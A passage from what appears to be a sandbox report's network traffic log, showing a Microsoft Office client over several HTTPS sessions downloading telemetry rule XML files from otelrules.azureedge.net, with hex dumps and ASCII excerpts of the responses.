2024-12-07 21:41:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:04 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: deed8991-301e-0033-2005-48fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214104Z-r1cf579d77898tqwhC1EWRf9q800000003fg000000006p3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:05 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:05 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:06 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 123741ec-101e-008d-5b05-4892e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214106Z-r1cf579d778xq4f9hC1EWRx41g00000003b0000000003wrx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:06 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:06 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5f90aa43-701e-0097-6403-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214106Z-r1cf579d778lntp7hC1EWR9gg400000002xg000000005beq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:07 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:06 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:06 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 94f5badb-301e-0000-7603-48eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214106Z-r1cf579d778z4wflhC1EWRa3h000000003mg000000001xv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:07 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:06 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:07 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a762f06e-601e-0084-7004-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214107Z-r1cf579d7784wpmvhC1EWRk4cn000000031g000000000ynp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:07 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:08 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:08 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 2d97fd60-e01e-000c-7b06-488e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214108Z-r1cf579d7784wpmvhC1EWRk4cn0000000310000000001q5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:08 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:08 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:08 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15e9867f-c01e-0046-5804-482db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214108Z-r1cf579d778t6txphC1EWRsd4400000003wg000000007vtg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:08 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:08 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:09 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: c22706de-601e-00ab-7503-4866f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214109Z-r1cf579d778qlpkrhC1EWRpfc8000000043g0000000073zm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:09 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:08 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:09 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 22947e51-b01e-0021-7203-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214109Z-r1cf579d778mvsklhC1EWRkavg00000003v0000000000x72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:09 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:09 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:09 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 1f576be4-501e-008f-5405-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214109Z-r1cf579d778z4wflhC1EWRa3h000000003mg000000001xwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:09 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:10 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:10 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a681d1f9-301e-0020-1b07-486299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214110Z-r1cf579d778mvsklhC1EWRkavg00000003ng0000000098cw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:10 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:10 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:10 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: af038a62-701e-005c-6f03-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214110Z-r1cf579d778xq4f9hC1EWRx41g00000003bg000000003g41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:11 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" 